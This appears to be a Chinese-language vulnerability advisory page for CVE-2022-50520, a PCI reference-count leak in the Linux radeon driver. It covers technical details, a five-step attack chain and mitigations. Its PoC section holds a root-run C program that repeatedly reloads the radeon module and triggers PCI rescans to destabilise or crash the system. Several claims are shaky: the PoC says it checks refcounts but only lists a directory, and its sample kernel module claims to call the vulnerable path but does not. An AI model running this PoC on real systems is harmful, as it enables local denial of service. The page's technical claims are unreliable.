IPBUF安全漏洞报告
English
CVE-2022-50520 CVSS 5.5 中危

CVE-2022-50520 Linux内核Radeon驱动PCI设备引用计数泄漏漏洞

披露日期: 2025-10-07
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2022-50520
漏洞类型
引用计数泄漏(资源泄漏)
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux内核(drm/radeon驱动)

相关标签

Linux内核内核漏洞引用计数泄漏资源泄漏drm/radeonPCI设备本地提权拒绝服务可用性影响内核驱动

漏洞概述

CVE-2022-50520是Linux内核中drm/radeon子模块的一个引用计数泄漏漏洞,位于`radeon_atrm_get_bios()`函数中。该漏洞源于`pci_get_class()`函数的调用方式存在缺陷:根据内核文档说明,`pci_get_class()`会返回一个增加了引用计数的pci_device,并且当输入参数@from不为NULL时会减少该参数的引用计数。在`radeon_atrm_get_bios()`函数中,如果循环在`pdev`不为NULL的情况下被中断(即找到了匹配的PCI设备),代码缺少对`pci_dev_put()`的调用来正确释放增加的引用计数,从而导致PCI设备的引用计数泄漏。

虽然该漏洞本身不会直接导致权限提升或数据泄露,但由于引用计数持续泄漏,在长时间运行的系统中,特别是在频繁触发相关代码路径的场景下(如反复加载/卸载Radeon显卡驱动或热插拔显卡),可能导致内核中PCI设备结构体的引用计数无法归零,进而引发资源耗尽或内核不稳定等问题,严重时可导致系统崩溃或内核panic。该漏洞的CVSS评分为5.5分,属于中危级别,主要影响系统的可用性。

该漏洞由Linux内核社区的安全研究人员发现并修复,修复补丁已合入多个稳定内核版本,包括5.10.x、5.15.x、5.19.x等多个长期支持(LTS)分支。

技术细节

该漏洞的技术原理如下:

1. **漏洞触发点**:`radeon_atrm_get_bios()`函数位于`drivers/gpu/drm/radeon/radeon_atrm.c`文件中,负责通过遍历PCI设备获取Radeon显卡的BIOS信息。

2. **核心问题**:函数使用`pci_get_class()`遍历系统中所有PCI设备以查找匹配的显卡设备。`pci_get_class()`的语义是:每次调用都会返回一个新的pci_device结构体指针,该结构体的引用计数已被增加。当遍历循环找到一个匹配设备并通过`break`跳出时,代码没有调用`pci_dev_put()`来释放该设备的引用计数。

3. **泄漏机制**:在内核中,每个PCI设备结构体(`struct pci_dev`)都有一个引用计数(`kref`),用于跟踪有多少地方正在使用该设备。当引用计数不为零时,设备结构体不会被释放。缺少`pci_dev_put()`调用意味着每次执行该代码路径都会使受影响设备的引用计数永久增加1。

4. **利用方式**:虽然这不是一个传统意义上的可利用漏洞,但攻击者可以通过以下方式触发:
- 在具有Radeon显卡的系统上,通过udev规则或modprobe配置反复触发显卡驱动的初始化流程
- 通过编写内核模块或利用其他漏洞调用`radeon_atrm_get_bios()`
- 长时间运行后,引用计数累积导致系统资源耗尽

5. **修复方案**:在内核补丁中,在`break`跳出循环后添加了`pci_dev_put(pdev)`调用,确保正确释放PCI设备的引用计数,防止泄漏。

6. **影响评估**:由于该漏洞需要本地权限(PR:L)才能触发,且不涉及机密性或完整性破坏(仅影响可用性),攻击者最多只能通过反复触发该路径导致系统不稳定或内核panic。

攻击链分析

STEP 1
步骤1:获取本地权限
攻击者需要在目标系统上获得本地低权限访问(PR:L),可以通过常规的用户账号注册、社会工程学或利用其他漏洞获得本地shell。
STEP 2
步骤2:升级到root权限
由于触发该漏洞需要加载/卸载内核模块或操作sysfs文件系统,攻击者需要进一步提升权限至root,可利用其他本地提权漏洞或sudo配置错误。
STEP 3
步骤3:触发引用计数泄漏
通过反复执行modprobe/rmmod radeon命令或通过/sys/bus/pci/rescan触发PCI设备重新扫描,每次都会执行有缺陷的radeon_atrm_get_bios()函数,导致PCI设备引用计数持续增加。
STEP 4
步骤4:资源耗尽导致系统不稳定
随着引用计数不断累积,受影响的PCI设备结构体无法被正常释放,可能导致内核内存泄漏、PCI子系统状态异常,最终引发系统性能下降或内核panic。
STEP 5
步骤5:拒绝服务
在极端情况下,持续的引用计数泄漏会导致系统无法正常管理PCI设备,造成显卡功能异常、系统崩溃等可用性影响(A:H),实现本地拒绝服务攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC: Triggering PCI device refcount leak in radeon_atrm_get_bios() // This PoC demonstrates how to trigger the vulnerability by repeatedly // loading/unloading the radeon driver module #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> // Method 1: Trigger via modprobe loop // Requires root privileges and a system with Radeon GPU void trigger_via_modprobe_loop() { printf("Triggering refcount leak via radeon module reload...\n"); for (int i = 0; i < 1000; i++) { // Unload radeon module (may fail if in use) system("rmmod radeon 2>/dev/null"); usleep(100000); // Reload radeon module system("modprobe radeon 2>/dev/null"); usleep(100000); } printf("Module reloaded 1000 times. Check refcount:\n"); system("ls /sys/bus/pci/devices/ | head -5"); } // Method 2: Trigger via sysfs hotplug events void trigger_via_sysfs_rescan() { printf("Triggering refcount leak via PCI rescan...\n"); FILE *f = fopen("/sys/bus/pci/rescan", "w"); if (f) { for (int i = 0; i < 100; i++) { fprintf(f, "1\n"); fflush(f); usleep(50000); } fclose(f); } } // Method 3: Direct kernel module to trigger the vulnerable function // (requires writing a kernel module) /* #include <linux/module.h> #include <linux/pci.h> static int __init trigger_refcount_leak_init(void) { struct pci_dev *pdev = NULL; // This call internally invokes radeon_atrm_get_bios() path // Each call leaks one reference on the matched PCI device while ((pdev = pci_get_class(PCI_CLASS_DISPLAY_VGA << 8, pdev)) != NULL) { if (pdev->vendor == PCI_VENDOR_ID_ATI) { // Simulating the vulnerable code path // In real vulnerable code: break without pci_dev_put(pdev) printk(KERN_INFO "Found ATI device: %s\n", pci_name(pdev)); // MISSING: pci_dev_put(pdev); <-- This is the bug break; // Bug: refcount leak here } } return 0; } static void __exit trigger_refcount_leak_exit(void) { printk(KERN_INFO "Module unloaded\n"); } module_init(trigger_refcount_leak_init); module_exit(trigger_refcount_leak_exit); MODULE_LICENSE("GPL"); */ int main() { if (getuid() != 0) { printf("This PoC requires root privileges.\n"); return 1; } trigger_via_modprobe_loop(); trigger_via_sysfs_rescan(); printf("PoC execution complete.\n"); printf("Monitor system stability and dmesg for errors.\n"); return 0; }

影响范围

Linux kernel < 5.10.150
Linux kernel 5.11.x ~ 5.15.x (受影响)
Linux kernel 5.16.x ~ 5.19.x (受影响)
Linux kernel 6.0.x (受影响)
所有包含drm/radeon子系统的Linux内核版本

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)限制普通用户对radeon内核模块的加载/卸载权限,通过将`/etc/modprobe.d/radeon.conf`中添加`install radeon /bin/false`来阻止模块被非授权加载;2)通过sudoers配置限制root权限的获取;3)监控`/sys/bus/pci/devices/`下设备的引用计数变化,及时发现异常;4)使用Linux内核的lockdown功能限制未授权的内核模块加载;5)启用SELinux或AppArmor等强制访问控制机制限制对PCI sysfs接口的访问;6)定期检查`dmesg`日志,关注是否有PCI设备相关的内核警告或错误信息。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表